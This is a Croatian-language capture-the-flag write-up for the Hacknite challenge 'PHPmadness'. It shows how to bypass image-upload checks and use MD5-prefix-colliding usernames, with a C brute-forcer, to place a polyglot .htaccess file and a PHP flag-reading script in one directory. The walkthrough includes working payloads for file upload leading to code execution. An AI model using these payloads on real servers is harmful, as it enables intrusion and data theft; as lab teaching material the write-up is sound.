User Tools

Site Tools


phpmadness

This is an old revision of the document!


Zadatak s Hacknite platforme - PHPmadness

Ovaj zadatak ima slojeve

http://chal.platforma.hacknite.hr:14019

Uz zadatak je dan i izvorni kod.

 Slika 1 - Dockerfile

Pregledom Dockerfilea zadatka, može se vidjeti da se radi o PHP zadatku, te da se flag kopira u putanju /flag, te da flag datoteka dobiva nasumično generiran naziv u formatu

fl4g_<nasumicnih 16 znakova>

Odlaskom na stranicu zadatka, potrebno je registrirati novi korisnički račun, nakon logina, se prikazuje stranica na kojoj se može pohraniti jedna slika.

 Slika 2 - stranica zadatka

Nakon što se uploada neka mala nasumična slika (npr. whatever.png), dobije se poveznica na lokaciju slike.

 Slika 3 - poveznica na lokaciju slike

Pregledom koda u datoteci user.php može se pronaći kod koji validira da je učitana datoteka zapravo validna slika.

 Slika 4 - user.php – validacije učitane slike

Kod se sastoji od tri provjere, prva provjera je samo provjera ekstenzije uploadane datoteke, provjerava se na način da se uzme dio naziva datoteke nakon zadnje točke, npr. .jpg, te se provjerava da ta ekstenzija ne počinje znakovima ph, što je definirano ovim REGEX pravilom:

if (preg_match('/^ph/', $ext)) {

Ovu provjeru je lagano zaobići, tako da se stave dvostruke ekstenzije, npr.

file.php.jpg

U kojem bi slučaju ova provjera uzela samo .jpg, nakon čega sprema datoteku bez provjerene ekstenzije, što bi značilo da bi samo druga ekstenzija, .php, ostala.

Druga provjera, provjerava da je mime type poslan u zahtjevu odgovara slici:

if (strpos($_FILES["file"]["type"], "image/"))

Ovu provjeru je lagano zaobići namještanjem ove vrijednosti na korisničkoj strani pri slanju datoteke.

Treća provjera:

$info = @getimagesize($_FILES["file"]["tmp_name"]);
$mime = $info['mime']; 

...

strpos($mime, "image/") !== 0

Provjerava datoteku na serverskoj strani, čitajući njezin “file signature” ili “magic bytes” i prema njima određuje je li učitana datoteka slika ili nije.

Ova provjera se može isto lagano zaobići, tako da se napravi PHP datoteka s kodom koji se želi izvršiti na serveru, na početku koje se dodaju “magic byteovi” odnosno “file signature” neke slike, npr. .jpg, i u slučaju da bi PHP parser čitao ovu datoteku. On bi samo preskočio ove byteove i nakon toga uspješno pročitao i pokrenuo PHP kod.

No postoji problem, čak i da se uploada datoteka s PHP kodom koja zaobilazi sve ove provjere, ona se i dalje ne bi izvršila, zato što će se učitati pod putanjom /uploads/, a u /uploads direktoriju postoji .htaccess file, koji zabranjuje izvršavanje svim PHP datotekama.

 Slika 5 - .htaccess u /uploads direktoriju

No uploadana datoteka će se nalaziti u poddirektoriju od /uploads, nalazit će se u:

/uploads/&lt;specific_user_directory&gt;

Što znači da ako je moguće uploadati .htaccess file, koji bi također zaobišao provjere da je uploadana datoteka slika, taj učitani .htaccess file bi nadjačao (eng. override) roditeljski .htaccess file. Time bi bilo moguće definirati vlastita .htaccess pravila u direktoriju pojedinog korisnika.

No problem je da svaki korisnik smije imati samo jednu učitanu datoteku po korisničkoj sesiji, i učitavanjem nove datoteke, stara datoteka se briše i samo nova čuva, što je prikazano na kodu na slici 6.

 Slika 6 - user.php – logika učitavanja datoteke korisnika

To znači da ako korisnik učita .php file koji zaobilazi sve provjere, on neće biti dopušten zbog .htaccess konfiguracije u naddirektoriju, a ako uspije učitati .htaccess datoteku koja overridea krovnu konfiguraciju, neće biti moguće učitati .php datoteku koja bi iskoristila tu novu konfiguraciju koja dopušta izvršavanje PHP koda.

No postoji način za učitati dvije datoteke u isti direktorij, kako bi se mogla učitati prvo .htaccess datoteka koja bi dozvolila izvršavanja PHP koda i onda druga datoteka koja bi sadržavala PHP kod, koji bi se izvršio i koristio za čitanje flaga.

Odgovor leži u logici koja određuje u koji direktorij će se pohraniti korisnikova učitana datoteka, što je određeno u ovoj liniji koda:

$userdir = substr(md5($_SESSION['username']), 0, 6) . "/";

Ova linija koda određuje da će se korisnikov direktorij nazvati kao prvih 6 znakova MD5 sažetka korisnikovog korisničkog imena (usernamea).

To znači da ako možemo pronaći dva korisnička imena, koja oba imaju istih prvih 6 znakova njihovih MD5 sažetka, odnosno

MD5(X)[0:6] = MD5(Y)[0:6]

gdje su X i Y dva različita usernamea, svaki korisnik može uploadati jednu datoteku u isti direktorij, tako da korištenjem jednog korisnika se može uploadati .htaccess datoteka, a korištenjem drugog korisnika datoteka sa PHP kodom, čije je izvršavanje omogućeno .htaccess datotekom.

Pronalazak para usernameova čijih prvih 6 znakova MD5 hash algoritma se podudaraju je jednostavan problem i čistim bruteforceom se može pronaći vrlo brzo, ispod minute (implementacijom u C-u).

Sljedeće je jedan primjer C koda koji pronalazi ovo rješenje.

// md5_collision_finder6 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <openssl/md5.h>

const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!()";

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <string>\n", argv[0]);
        return 1;
    }

    char *input = argv[1];
    size_t input_len = strlen(input);
    unsigned char input_digest[MD5_DIGEST_LENGTH];
    MD5((unsigned char*)input, input_len, input_digest);

    printf("Input string: %s\n", input);
    printf("Full MD5: ");
    for (int i = 0; i < MD5_DIGEST_LENGTH; i++) {
        printf("%02x", input_digest[i]);
    }
    printf("\nFirst 6 chars: ");
    for (int i = 0; i < 3; i++) {
        printf("%02x", input_digest[i]);
    }
    printf("\nSearching for collision (min 8 chars)...\n");

    // Extract first 3 bytes as target
    unsigned char target[3];
    memcpy(target, input_digest, 3);
    const int min_len = 8; // MINIMUM candidate length
    const int max_len = 15; // MAXIMUM candidate length
    const size_t charset_size = sizeof(charset) - 1;
    unsigned long long attempts = 0;
    const unsigned long long report_interval = 10000000;
    char candidate[max_len + 1]; // Buffer for candidate
    srand(time(NULL));
    while (1) {
        attempts++;
        // Generate random candidate length (8-15)
        int len = rand() % (max_len - min_len + 1) + min_len;
        // Generate random candidate
        for (int i = 0; i < len; i++) {
            candidate[i] = charset[rand() % charset_size];
        }
        candidate[len] = '\0';
        // Skip input string if same (length + content)
        if (len == input_len && memcmp(candidate, input, len) == 0) {
            continue;
        }
        // Compute MD5
        unsigned char candidate_digest[MD5_DIGEST_LENGTH];
        MD5((unsigned char*)candidate, len, candidate_digest);
        // Progress report
        if (attempts % report_interval == 0) {
            printf("Attempts: %lluM, Current: %s\n", attempts/1000000, candidate);
        }
        // Check first 3 bytes (6 hex characters)
        if (memcmp(candidate_digest, target, 3) == 0) {
            printf("\nCollision found after %llu attempts!\n", attempts);
            printf("Colliding string: %s (length: %d)\n", candidate, len);
            printf("Full MD5: ");
            for (int i = 0; i < MD5_DIGEST_LENGTH; i++) {
                printf("%02x", candidate_digest[i]);
            }
            printf("\nFirst 6 chars: ");
            for (int i = 0; i < 3; i++) {
                printf("%02x", candidate_digest[i]);
            }
            printf("\n");
            break;
        }
    }
    return 0;
}

Program se treba kompajlirati i nakon toga se može pokrenuti, prosljeđujući mu username za koji je potrebno naći MD5 hash collision u prvih 6 znakova kao argument.

Primjer para ovakvih korisničkim imena, koji se dobije korištenjem ovog programa je:

$ ./md5_collision_finder6 korisnik1
Input string: korisnik1
Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61
First 6 chars: affc2d
Searching for collision (min 8 chars)...
Attempts: 10M, Current: ZF7ciZizcHo8

Collision found after 19093362 attempts!
Colliding string: BQuxIUGH (length: 8)
Full MD5: affc2da2a9c70df41678d24f997a95f0
First 6 chars: affc2d

Dva korisnička imena, čije bi učitane datoteke bile u istom direktoriju su:

korisnik1 i BQuxIUGH

Sada još ostaje problem kako učitati .htaccess datoteku, koja će uspješno proći kroz provjere da je učitana datoteka slika, dok će se i dalje dobro parsirati kao ispravan .htaccess file. Pri parsiranju PHP fileova, nepoznati byteovi će se samo preskočiti, te je ovo trivijalan problem kod datoteke s PHP kodom, dok je u slučaju .htaccess datoteke, ovo zapravo najteži dio zadatka.

.htaccess datoteka koja bi koristila ovaj pristup bi se mogla zvati .htaccess.jpg.

Postoje dva rješenja.

.wbmp

Prvo se zasniva na činjenici da se pri parsiranju .htaccess datoteke, null byteovi na početku preskaču bez errora, te se file dalje normalno parsira, dok 4 null byteova na početku datoteke PHP prepoznaje kao file signature .wbmp datoteke, koja je slika, te se tako može napraviti „pseudo-poliglot” datoteka koja PHP-ovu provjeru uvjerava da je .wbmp slika, dok je i dalje .htaccess file koji se može uspješno parsirati. Datoteka može imati sadržaj:

<4 null byteova><new line (\n ili 0a u hex)>
<FilesMatch "\.php3$">
Require all granted
SetHandler application/x-httpd-php
</FilesMatch>

.xbm

Drugo rješenje se zasniva na činjenici da u .htaccess datoteci komentari se označavaju znakom “#” na početku linije, te se tako može konstruirati datoteka kojoj su prve dvije linije:

#define a_width 1 
#define a_height 1

što uvjerava provjeru je li učitana datoteka slika, da je datoteka zapravo .xbm datoteka (slika), dok se pri parsiranju datoteke kao .htaccess, ove dvije linije smatraju komentarima i preskaču, pa se parsiranje .htaccess datoteke normalno nastavlja. Primjer sadržaja:

#define a_width 1 
#define a_height 1
<FilesMatch "\.php3$">
Require all granted
SetHandler application/x-httpd-php
</FilesMatch>

Sada su riješena sva ograničenja zadatka i jasan je način kako se može stvoriti 2 korisnika s odgovarajućim korisničkim imenima kako bi se mogle učitati dvije datoteke, .htaccess i datoteka s PHP kodom u isti korisnički direktorij, uz zaobilazak svih provjera i ograničenja zadatka za učitavanje datoteke.

Još jedno ograničenje je preostalo za PHP kod koji se treba učitati i izvršavati za dohvat flaga, to je skup zabranjenih funkcija, definiran u /php-config/disable_functions.ini.

Zabranjene funkcije su:

disable_functions = exec,system,passthru,shell_exec,proc_open,popen,pcntl_exec

No i dalje i s ovim ograničenjem ima dosta načina za pronaći flag datoteku i pročitati ju i bez ovih zabranjenih funkcija.

Primjer datoteke s PHP kodom, koja bi bila odobrena prethodnom .htaccess datotekom i pronašla flag datoteku te je pročitala i ispisala se može zvati readFlag.php3.jpg i sadržavati file signature bilo koje slike, npr. koristeći tehniku .wbmp, te nakon toga potrebni PHP kod:

<4 null byteova><new line (\n ili 0a u hex)>
<?php
$files = scandir("/flag");
foreach ($files as $file) {
    if ($file === "." || $file === "..") continue;
    $path = "/flag/" . $file;
    if (is_file($path)) {
        echo "<h3>Contents of: $file</h3><pre>";
        echo htmlspecialchars(file_get_contents($path));
        echo "</pre><hr>";
    }
}
?>

Nakon toga je samo potrebno:

  • s jednim korisnikom učitati prethodno opisanu .htaccess.jpg datoteku,

 Slika 7 - upload .htaccess.jpg datoteke

  • s drugim korisnikom učitati opisanu datoteku s PHP kodom (readFlag.php3.jpg),

 Slika 8 - upload readFlag.php3.jpg datoteke

  • otići na lokaciju učitane PHP datoteke i posjetiti ju,

 Slika 9 - link na lokaciju

kako bi se PHP kod izvršio i ispisao flag.
 Slika 10 - riješen zadatak

phpmadness.1761917806.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki